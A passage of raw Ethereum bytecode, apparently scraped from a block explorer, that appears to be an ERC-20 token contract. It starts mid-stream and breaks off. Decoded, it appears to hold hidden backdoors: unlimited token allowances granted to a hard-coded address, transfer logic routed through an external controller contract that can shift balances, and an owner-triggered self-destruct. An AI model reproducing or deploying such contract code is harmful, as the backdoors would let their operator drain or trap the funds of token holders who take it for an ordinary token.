5610df5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dec9061226f565b60405180910390fd5b610e12610e00611389565b858584610e0d919061265c565b611391565b600191505092915050565b6000610e31610e2a611389565b848461155c565b6001905092915050565b73323fa5831bfbc85962e6e054d840290ad37d593281565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7383f6244bd87662118d96d9a6d44f09dfff14b30e81565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc1906122af565b60405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461105f57600080fd5b600019600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600073323fa5831bfbc85962e6e054d840290ad37d593273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600019600560007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e33083600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168f565b816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a37f00000000000000000000000000000000000000000000000000000000000000009050919050565b60008060008060008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663df39d24d6040518163ffffffff1660e01b815260040160e06040518083038186803b15801561133a57600080fd5b505afa15801561134e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113729190611ef0565b965096509650965096509650965090919293949596565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f8906122ef565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611471576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114689061228f565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161154f919061236f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c39061224f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561163c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611633906122cf565b60405180910390fd5b6000811161167f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116769061230f565b60405180910390fd5b61168a83838361168f565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461178d57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638d10b85a6040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561175057600080fd5b505af1158015611764573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117889190611dc3565b611790565b60005b90507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561181a5750600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b15611823578093505b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156118a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189c9061234f565b60405180910390fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f0919061265c565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197e919061243b565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614611cc25760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166328bf9cfc86866040518363ffffffff1660e01b8152600401611a749291906121b3565b602060405180830381600087803b158015611a8e57600080fd5b505af1158015611aa2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ac69190611ec3565b90507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015611b235750600081115b8015611b81575080600460007383f6244bd87662118d96d9a6d44f09dfff14b30e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15611cc05780600460007383f6244bd87662118d96d9a6d44f09dfff14b30e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611be9919061265c565b9250508190555080600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c3f919061243b565b925050819055508373ffffffffffffffffffffffffffffffffffffffff167383f6244bd87662118d96d9a6d44f09dfff14b30e73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cb7919061236f565b60405180910390a35b505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d1f919061236f565b60405180910390a350505050565b600081359050611d3c81612ab7565b92915050565b600081519050611d5181612ab7565b92915050565b600081519050611d6681612ace565b92915050565b600081359050611d7b81612ae5565b92915050565b600081519050611d9081612ae5565b92915050565b600060208284031215611dac57611dab6127f0565b5b6000611dba84828501611d2d565b91505092915050565b600060208284031215611dd957611dd86127f0565b5b6000611de784828501611d42565b91505092915050565b60008060408385031215611e0757611e066127f0565b5b6000611e1585828601611d2d565b9250506020611e2685828601611d2d565b9150509250929050565b600080600060608486031215611e4957611e486127f0565b5b6000611e5786828701611d2d565b9350506020611e6886828701611d2d565b9250506040611e7986828701611d6c565b9150509250925092565b60008060408385031215611e9a57611e996127f0565b5b6000611ea885828601611d2d565b9250506020611eb985828601611d6c565b9150509250929050565b600060208284031215611ed957611ed86127f0565b5b6000611ee784828501611d81565b91505092915050565b600080600080600080600060e0888a031215611f0f57611f0e6127f0565b5b6000611f1d8a828b01611d81565b9750506020611f2e8a828b01611d81565b9650506040611f3f8a828b01611d81565b9550506060611f508a828b01611d81565b9450506080611f618a828b01611d57565b93505060a0611f728a828b01611d81565b92505060c0611f838a828b01611d81565b91505092959891949750929550565b611f9b81612690565b82525050565b611faa816126a2565b82525050565b611fb9816126e5565b82525050565b611fc881612709565b82525050565b6000611fd982612414565b611fe3818561242a565b9350611ff381856020860161272d565b611ffc816127f5565b840191505092915050565b600061201460268361242a565b915061201f82612813565b604082019050919050565b600061203760268361242a565b915061204282612862565b604082019050919050565b600061205a60238361242a565b9150612065826128b1565b604082019050919050565b600061207d60118361242a565b915061208882612900565b602082019050919050565b60006120a060248361242a565b91506120ab82612929565b604082019050919050565b60006120c360008361241f565b91506120ce82612978565b600082019050919050565b60006120e660258361242a565b91506120f18261297b565b604082019050919050565b600061210960318361242a565b9150612114826129ca565b604082019050919050565b600061212c60298361242a565b915061213782612a19565b604082019050919050565b600061214f60338361242a565b915061215a82612a68565b604082019050919050565b61216e816126ce565b82525050565b61217d816126d8565b82525050565b600061218e826120b6565b9150819050919050565b60006020820190506121ad6000830184611f92565b92915050565b60006040820190506121c86000830185611f92565b6121d56020830184611f92565b9392505050565b60006020820190506121f16000830184611fa1565b92915050565b600060208201905061220c6000830184611fb0565b92915050565b60006020820190506122276000830184611fbf565b92915050565b600060208201905081810360008301526122478184611fce565b905092915050565b6000602082019050818103600083015261226881612007565b9050919050565b600060208201905081810360008301526122888161202a565b9050919050565b600060208201905081810360008301526122a88161204d565b9050919050565b600060208201905081810360008301526122c881612070565b9050919050565b600060208201905081810360008301526122e881612093565b9050919050565b60006020820190508181036000830152612308816120d9565b9050919050565b60006020820190508181036000830152612328816120fc565b9050919050565b600060208201905081810360008301526123488161211f565b9050919050565b6000602082019050818103600083015261236881612142565b9050919050565b60006020820190506123846000830184612165565b92915050565b600060e08201905061239f600083018a612165565b6123ac6020830189612165565b6123b96040830188612165565b6123c66060830187612165565b6123d36080830186611fa1565b6123e060a0830185612165565b6123ed60c0830184612165565b98975050505050505050565b600060208201905061240e6000830184612174565b92915050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000612446826126ce565b9150612451836126ce565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561248657612485612792565b5b828201905092915050565b6000808291508390505b60018511156124db578086048111156124b7576124b6612792565b5b60018516156124c65780820291505b80810290506124d485612806565b945061249b565b94509492505050565b60006124ef826126ce565b91506124fa836126d8565b92506125277fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461252f565b905092915050565b60008261253f57600190506125fb565b8161254d57600090506125fb565b8160018114612563576002811461256d5761259c565b60019150506125fb565b60ff84111561257f5761257e612792565b5b8360020a91508482111561259657612595612792565b5b506125fb565b5060208310610133831016604e8410600b84101617156125d15782820a9050838111156125cc576125cb612792565b5b6125fb565b6125de8484846001612491565b925090508184048111156125f5576125f4612792565b5b81810290505b9392505050565b600061260d826126ce565b9150612618836126ce565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561265157612650612792565b5b828202905092915050565b6000612667826126ce565b9150612672836126ce565b92508282101561268557612684612792565b5b828203905092915050565b600061269b826126ae565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126f0826126f7565b9050919050565b6000612702826126ae565b9050919050565b60006127148261271b565b9050919050565b6000612726826126ae565b9050919050565b60005b8381101561274b578082015181840152602081019050612730565b8381111561275a576000848401525b50505050565b6000600282049050600182168061277857607f821691505b6020821081141561278c5761278b6127c1565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f4552524f523a205472616e736665722066726f6d20746865207a65726f20616460008201527f64726573732e0000000000000000000000000000000000000000000000000000602082015250565b7f4552524f523a2044656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f2e0000000000000000000000000000000000000000000000000000602082015250565b7f4552524f523a20417070726f766520746f20746865207a65726f20616464726560008201527f73732e0000000000000000000000000000000000000000000000000000000000602082015250565b7f7065726d697373696f6e2064656e696564000000000000000000000000000000600082015250565b7f4552524f523a205472616e7366657220746f20746865207a65726f206164647260008201527f6573732e00000000000000000000000000000000000000000000000000000000602082015250565b50565b7f4552524f523a20417070726f76652066726f6d20746865207a65726f2061646460008201527f726573732e000000000000000000000000000000000000000000000000000000602082015250565b7f4552524f523a205472616e7366657220616d6f756e74206d757374206265206760008201527f726561746572207468616e207a65726f2e000000000000000000000000000000602082015250565b7f4552524f523a205472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e63652e0000000000000000000000000000000000000000000000602082015250565b7f4552524f523a205472616e7366657220616d6f756e74206d757374206265206760008201527f726561746572207468616e20616d6f756e742e00000000000000000000000000602082015250565b612ac081612690565b8114612acb57600080fd5b50565b612ad7816126a2565b8114612ae257600080fd5b50565b612aee816126ce565b8114612af957600080fd5b5056fea26469706673582212205c3ab3008846334dbe45a3fe0cdf6860ba9f5fbadceefb43fb08292de686325b64736f6c63430008060033

Deployed Bytecode

0x6080604052600436106101445760003560e01c806391cca3db116100b6578063cd2002ff1161006f578063cd2002ff14610534578063d81819491461055f578063dd62ed3e1461058a578063eb325cc7146105c7578063f1493490146105de578063fc2a5b1d1461061b576101d6565b806391cca3db1461040e57806395d89b4114610439578063a457c2d714610464578063a9059cbb146104a1578063ba6f43e6146104de578063cc1d399f14610509576101d6565b806323b872dd1161010857806323b872dd146102d6578063313ce56714610313578063395093511461033e57806349bd5a5e1461037b57806370a08231146103a65780638dd95002146103e3576101d6565b806303fd2a45146101db5780630520b7081461020657806306fdde0314610243578063095ea7b31461026e57806318160ddd146102ab576101d6565b366101d657600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163460405161018f90612183565b60006040518083038185875af1925050503d80600081146101cc576040519150601f19603f3d011682016040523d82523d6000602084013e6101d1565b606091505b505050005b600080fd5b3480156101e757600080fd5b506101f061064c565b6040516101fd9190612198565b60405180910390f35b34801561021257600080fd5b5061022d60048036038101906102289190611d96565b610652565b60405161023a9190612198565b60405180910390f35b34801561024f57600080fd5b50610258610963565b604051610265919061222d565b60405180910390f35b34801561027a57600080fd5b5061029560048036038101906102909190611e83565b6109f1565b6040516102a291906121dc565b60405180910390f35b3480156102b757600080fd5b506102c0610a0f565b6040516102cd919061236f565b60405180910390f35b3480156102e257600080fd5b506102fd60048036038101906102f89190611e30565b610a30565b60405161030a91906121dc565b60405180910390f35b34801561031f57600080fd5b50610328610b31565b60405161033591906123f9565b60405180910390f35b34801561034a57600080fd5b5061036560048036038101906103609190611e83565b610b36565b60405161037291906121dc565b60405180910390f35b34801561038757600080fd5b50610390610be2565b60405161039d9190612198565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190611d96565b610c06565b6040516103da919061236f565b60405180910390f35b3480156103ef57600080fd5b506103f8610c4f565b6040516104059190612198565b60405180910390f35b34801561041a57600080fd5b50610423610c75565b6040516104309190612198565b60405180910390f35b34801561044557600080fd5b5061044e610c9b565b60405161045b919061222d565b60405180910390f35b34801561047057600080fd5b5061048b60048036038101906104869190611e83565b610d29565b60405161049891906121dc565b60405180910390f35b3480156104ad57600080fd5b506104c860048036038101906104c39190611e83565b610e1d565b6040516104d591906121dc565b60405180910390f35b3480156104ea57600080fd5b506104f3610e3b565b6040516105009190612198565b60405180910390f35b34801561051557600080fd5b5061051e610e53565b60405161052b9190612212565b60405180910390f35b34801561054057600080fd5b50610549610e79565b6040516105569190612198565b60405180910390f35b34801561056b57600080fd5b50610574610e91565b60405161058191906121f7565b60405180910390f35b34801561059657600080fd5b506105b160048036038101906105ac9190611df0565b610eb5565b6040516105be919061236f565b60405180910390f35b3480156105d357600080fd5b506105dc610f3c565b005b3480156105ea57600080fd5b5061060560048036038101906106009190611d96565b611005565b6040516106129190612198565b60405180910390f35b34801561062757600080fd5b506106306112c8565b604051610643979695949392919061238a565b60405180910390f35b61dead81565b60008073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156106fe5750600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b61070757600080fd5b600019600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600073323fa5831bfbc85962e6e054d840290ad37d593273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600019600560007f0000000000000000000000003b5d04ed29cce991293aea55f0048641442d23d173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060001960056000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600073323fa5831bfbc85962e6e054d840290ad37d593273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6006805461097090612760565b80601f016020809104026020016040519081016040528092919081815260200182805461099c90612760565b80156109e95780601f106109be576101008083540402835291602001916109e9565b820191906000526020600020905b8154815290600101906020018083116109cc57829003601f168201915b505050505081565b6000610a056109fe611389565b8484611391565b6001905092915050565b6009600a610a1d91906124e4565b6402540be400610a2d9190612602565b81565b6000610a3d84848461155c565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a88611389565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aff9061232f565b60405180910390fd5b610b2585610b14611389565b8584610b20919061265c565b611391565b60019150509392505050565b600981565b6000610bd8610b43611389565b848460056000610b51611389565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bd3919061243b565b611391565b6001905092915050565b7f0000000000000000000000003b5d04ed29cce991293aea55f0048641442d23d181565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60078054610ca890612760565b80601f0160208091040260200160405190810160405280929190818152602001828054610cd490612760565b8015610d215780601f10610cf657610100808354040283529160200191610d21565b820191906000526020600020905b815481529060010190602001808311610d0457829003601f168201915b505050505081565b60008060056000610d38611389565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610df5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dec9061226f565b60405180910390fd5b610e12610e00611389565b858584610e0d919061265c565b611391565b600191505092915050565b6000610e31610e2a611389565b848461155c565b6001905092915050565b73323fa5831bfbc85962e6e054d840290ad37d593281565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7383f6244bd87662118d96d9a6d44f09dfff14b30e81565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc1906122af565b60405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461105f57600080fd5b600019600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600073323fa5831bfbc85962e6e054d840290ad37d593273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600019600560007f0000000000000000000000003b5d04ed29cce991293aea55f0048641442d23d173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e33083600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168f565b816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a37f0000000000000000000000003b5d04ed29cce991293aea55f0048641442d23d19050919050565b60008060008060008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663df39d24d6040518163ffffffff1660e01b815260040160e06040518083038186803b15801561133a57600080fd5b505afa15801561134e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113729190611ef0565b965096509650965096509650965090919293949596565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f8906122ef565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611471576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114689061228f565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161154f919061236f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c39061224f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561163c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611633906122cf565b60405180910390fd5b6000811161167f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116769061230f565b60405180910390fd5b61168a83838361168f565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461178d57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638d10b85a6040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561175057600080fd5b505af1158015611764573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117889190611dc3565b611790565b60005b90507f0000000000000000000000003b5d04ed29cce991293aea55f0048641442d23d173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561181a5750600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b15611823578093505b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156118a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189c9061234f565b60405180910390fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f0919061265c565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197e919061243b565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614611cc25760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166328bf9cfc86866040518363ffffffff1660e01b8152600401611a749291906121b3565b602060405180830381600087803b158015611a8e57600080fd5b505af1158015611aa2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ac69190611ec3565b90507f0000000000000000000000003b5d04ed29cce991293aea55f0048641442d23d173ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015611b235750600081115b8015611b81575080600460007383f6244bd87662118d96d9a6d44f09dfff14b30e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15611cc05780600460007383f6244bd87662118d96d9a6d44f09dfff14b30e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611be9919061265c565b9250508190555080600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c3f919061243b565b925050819055508373ffffffffffffffffffffffffffffffffffffffff167383f6244bd87662118d96d9a6d44f09dfff14b30e73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cb7919061236f565b60405180910390a35b505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d1f919061236f565b60405180910390a350505050565b600081359050611d3c81612ab7565b92915050565b600081519050611d5181612ab7565b92915050565b600081519050611d6681612ace565b92915050565b600081359050611d7b81612ae5565b92915050565b600081519050611d9081612ae5565b92915050565b600060208284031215611dac57611dab6127f0565b5b6000611dba84828501611d2d565b91505092915050565b600060208284031215611dd957611dd86127f0565b5b6000611de784828501611d42565b91505092915050565b60008060408385031215611e0757611e066127f0565b5b6000611e1585828601611d2d565b9250506020611e2685828601611d2d565b9150509250929050565b600080600060608486031215611e4957611e486127f0565b5b6000611e5786828701611d2d565b9350506020611e6886828701611d2d565b9250506040611e7986828701611d6c565b9150509250925092565b60008060408385031215611e9a57611e996127f0565b5b6000611ea885828601611d2d565b9250506020611eb985828601611d6c565b9150509250929050565b600060208284031215611ed957611ed86127f0565b5b6000611ee784828501611d81565b91505092915050565b600080600080600080600060e0888a031215611f0f57611f0e6127f0565b5b6000611f1d8a828b01611d81565b9750506020611f2e8a828b01611d81565b9650506040611f3f8a828b01611d81565b9550506060611f508a828b01611d81565b9450506080611f618a828b01611d57565b93505060a0611f728a828b01611d81565b92505060c0611f838a828b01611d81565b91505092959891949750929550565b611f9b81612690565b82525050565b611faa816126a2565b82525050565b611fb9816126e5565b82525050565b611fc881612709565b82525050565b6000611fd982612414565b611fe3818561242a565b9350611ff381856020860161272d565b611ffc816127f5565b840191505092915050565b600061201460268361242a565b915061201f82612813565b604082019050919050565b600061203760268361242a565b915061204282612862565b604082019050919050565b600061205a60238361242a565b9150612065826128b1565b604082019050919050565b600061207d60118361242a565b915061208882612900565b602082019050919050565b60006120a060248361242a565b91506120ab82612929565b604082019050919050565b60006120c360008361241f565b91506120ce82612978565b600082019050919050565b60006120e660258361242a565b91506120f18261297b565b604082019050919050565b600061210960318361242a565b9150612114826129ca565b604082019050919050565b600061212c60298361242a565b915061213782612a19565b604082019050919050565b600061214f60338361242a565b915061215a82612a68565b604082019050919050565b61216e816126ce565b82525050565b61217d816126d8565b82525050565b600061218e826120b6565b9150819050919050565b60006020820190506121ad6000830184611f92565b92915050565b60006040820190506121c86000830185611f92565b6121d56020830184611f92565b9392505050565b60006020820190506121f16000830184611fa1565b92915050565b600060208201905061220c6000830184611fb0565b92915050565b60006020820190506122276000830184611fbf565b92915050565b600060208201905081810360008301526122478184611fce565b905092915050565b6000602082019050818103600083015261226881612007565b9050919050565b600060208201905081810360008301526122888161202a565b9050919050565b600060208201905081810360008301526122a88161204d565b9050919050565b600060208201905081810360008301526122c881612070565b9050919050565